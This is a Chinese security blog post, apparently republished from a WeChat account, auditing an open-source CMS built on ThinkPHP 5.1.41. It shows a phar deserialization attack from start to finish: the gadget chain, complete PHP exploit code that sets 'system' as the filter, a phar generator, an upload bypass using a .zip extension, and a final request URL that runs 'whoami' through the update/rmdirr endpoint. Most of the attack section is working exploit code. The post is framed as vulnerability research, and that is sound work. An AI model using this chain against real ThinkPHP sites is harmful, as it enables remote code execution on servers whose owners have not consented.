基于框架漏洞的代码审计实战

admin 2022年5月27日21:15:49代码审计评论19 views5920字阅读19分44秒阅读模式

0x00 前言

由于普通的,基于某个功能点的漏洞,已经是非常常见了,在这里分享一些基于框架漏洞的代码审计,毕竟大家都学了这么多反序列化漏洞与一堆的框架,还是要用于实战当中。

0x01 环境介绍

某开源项目最新版的CMS,该漏洞已提交至CNVD

0x02 查看READ.md,获取项目技术栈的相应版本

可以看到这里的thinkphp版本为5.1.41。正好该版本存在反序列化漏洞。接下来我们的思路就是找到反序列化的触发点。

基于框架漏洞的代码审计实战

0x03 找寻反序列化入口

如果打过ctf的同学都应该都比较清楚,触发反序列化的点,比较常见的就3种 1,unserialize()函数 2,phar反序列化 3,session反序列化

接下来我们就一个一个分析看看该cms是否存在反序列化入口

0x3.1 unserialize函数

我们直接全局搜索unserialize,看看有那些地方调用了该函数

基于框架漏洞的代码审计实战


可以看到有很多地方调用了unserialize函数,如果你看到这些函数就开始一头扎进去,开始分析,那基本上就可以说是对MVC毫无了解,在分析之前,你要确定那些是能调用的,那些是不能调用的,因此必须分析路由,去找寻那些页面是可以访问的,我们一般想调用某些函数,都是通过URL或者POST参数进行调用了。因此知道自己能调用那些函数,是非常重要的,也是缩小分析范围的至关重要的一步。本文分析的CMS是由thinkphp搭建,由于在大部分情况下我们都可以访问控制器下的大部分函数,因此可操作的空间就非常的大,但并不是所有框架都像一样自由

结合路由分析,可以发现并没有路由能访问到unserialize函数,可知unserialize这条路走不通

0x3.2 session反序列化

其实session反序列化是真的不常见,可能只会在一些ctf中见到,因为两种session模式相互切换的场景是真的不常见,不过我们还是进行分析一下吧。直接全局搜索session.serialize_handler

基于框架漏洞的代码审计实战

不出意外,确实没有

0x3.3 phar反序列化

个人认为phar反序列化还是比较容易触发的,因为在很多功能点都会对文件进行判断,而有许多判断函数都可以触发phar反序列化,且并不需要pip.ini有特殊配置。这是在本机生成phar包时,需要开启phar.readonly这个配置。常见的函数如下:

基于框架漏洞的代码审计实战


继续我们的分析,一般每个web应用几乎都存在着文件上传功能,几乎都会用到is_file,is_dir,file_exists等函数 接下来外面就来分析源码,老规矩依旧是全局搜索

基于框架漏洞的代码审计实战


基于框架漏洞的代码审计实战


基于框架漏洞的代码审计实战


在这里就不浪费大家时间,找寻触发点直接省略,直接进入利用分析

基于框架漏洞的代码审计实战


可以看到这里rmdirr是update控制器里的一个方法,我们可以直接通过url调用该函数,能触发漏洞的原因在于,没写固定前缀,到这里可能有同学会提醒我还有后缀,但在这里可以给大家卖个关子,其实有很大一部分后缀是可以绕过的,这个我们在后面分析。言归正传,之所以要指定前缀就是防止攻击者使用phar协议,进行phar反序列化,到这里我们已经找到了反序列化入口,进行就是如何进行phar文件生成和反序列化漏洞利用

0x04 phar文件生成

在php中phar文件生成有一窜常用的代码,记住即可,唯一要注意的是,要反序列化的对象,在本文就是反序列化利用链

0x4.1 配置

在此之前,需要在本机开启,注意这只是在生成的时候开启,及在本地生成然后上传到目标服务器(目标服务器不需要开启配置)

phar.readonly = On

基于框架漏洞的代码审计实战

0x4.2 源码

//这里就需要反序列化的对象
class Demo{

}

$phar=newPhar("phar.phar");//

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");//

$phar->setMetadata(new Demo());//

$phar->addFromString("test.txt","test");//

//
$phar->stopBuffering();

生成文件内容如下:

基于框架漏洞的代码审计实战

0x05 Thinkphp 5.1.41反序列化

0x5.1 利用链

thinkphplibrarythinkprocesspipesWindows.php - > __destruct()

thinkphplibrarythinkprocesspipesWindows.php - > removeFiles()

Windows.php: file_exists()

thinkphplibrarythinkmodelconcernConversion.php - > __toString()

thinkphplibrarythinkmodelconcernConversion.php - > toJson() 

thinkphplibrarythinkmodelconcernConversion.php - > toArray()

thinkphplibrarythinkRequest.php   - > __call()

thinkphplibrarythinkRequest.php   - > isAjax()

thinkphplibrarythinkRequest.php - > param()

thinkphplibrarythinkRequest.php - > input()

thinkphplibrarythinkRequest.php - > filterValue()

0x5.2 EXP

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO''REDIRECT_PATH_INFO''REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace thinkmodel;

use thinkModel;

class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo base64_encode(serialize(new Windows()));

0x06 Phar与thinkphp反序列化结合

源码

<?php

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["dir","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
// 表单请求类型伪装变量
        'var_method'       => '_method',
// 表单ajax伪装变量
        'var_ajax'         => '_ajax',
// 表单pjax伪装变量
        'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO''REDIRECT_PATH_INFO''REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
// 域名根,如thinkphp.cn
        'url_domain_root'  => '',
// HTTPS代理标识
        'https_agent_name' => '',
// IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
    private $files = [];
    public function __construct()
    
{
        $this->files=[new Pivot()];
    }
}
namespace thinkmodel;

use thinkModel;

class Pivot extends Model
{
}
use thinkprocesspipesWindows;

$phar=newPhar("phar.phar");//

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>");//

$phar->setMetadata(new Windows());//

$phar->addFromString("test.txt","test");//

//
$phar->stopBuffering();

?>

0x07 Phar文件上传

0x7.1 Phar文件上传绕过

大家看到这里一定会想Phar文件,一定是XXX.phar这样的格式,只要后端一限制,那就没法利用了,如果这么想的话,那可能还是会phar协议不了解,直接说结论吧,phar文件可以是任意后缀,可以是jpg,png,zip等等,只要配合phar协议即可触发反序列化

0x7.2 查找上传功能

寻找单个功能点比较常见的就两种:

1.直接黑盒测试看应用程序有那些功能

2.白盒测试看路由,代码审计

一般情况还是先黑盒再白盒,因为有的应用路由写的很死,只能访问给定的功能,也就造成你再页面上看到的功能可能就是它大部分的功能了

0x7.3 黑盒测试

这里我们直接找上传点,当然里面也有许多坑,笔者会一一去解说

经过黑盒测试发现只能上图片,话不多少说直接将phar文件,改成phar.jpg然后上传

基于框架漏洞的代码审计实战

基于框架漏洞的代码审计实战

结果发现上传失败,其实有经验的同学都明白,检测图片的方法很多,mime,文件头,还有一堆处理图片的函数,那文件头来说,如果想绕过就必须在phar文件中添加文件头,但这样一添加,就破坏了文件格式,导致反序列化无法触发。因此这个图片上传无法利用

0x7.4 白盒测试

直接分析源码,找寻文件上传功能代码

基于框架漏洞的代码审计实战

找到一处,经过分析发现值允许上传zip,txt等文件,既然如此我们就上传一个phar.zip文件

基于框架漏洞的代码审计实战

上传成功,回显出了文件地址

0x08 验证漏洞

我们已经将文件上传到服务器,接下来就是利用phar+thinkphp反序列化进行rce漏洞验证

基于框架漏洞的代码审计实战

payload:

http://127.0.0.1//admin.php/update/rmdirr?dirname=phar://public/upload/images/628259c295370.zip&id=whoami


原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:[email protected]

文章类型:黑客极客技术、信息安全热点安全研究分析安全相关

通过审核并发布能收获200-800元不等的稿酬。


更多详情,点我查看!

基于框架漏洞的代码审计实战
靶场实操,戳“阅读原文”

原文始发于微信公众号(合天网安实验室):基于框架漏洞的代码审计实战

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月27日21:15:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  基于框架漏洞的代码审计实战 https://cn-sec.com/archives/1059553.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: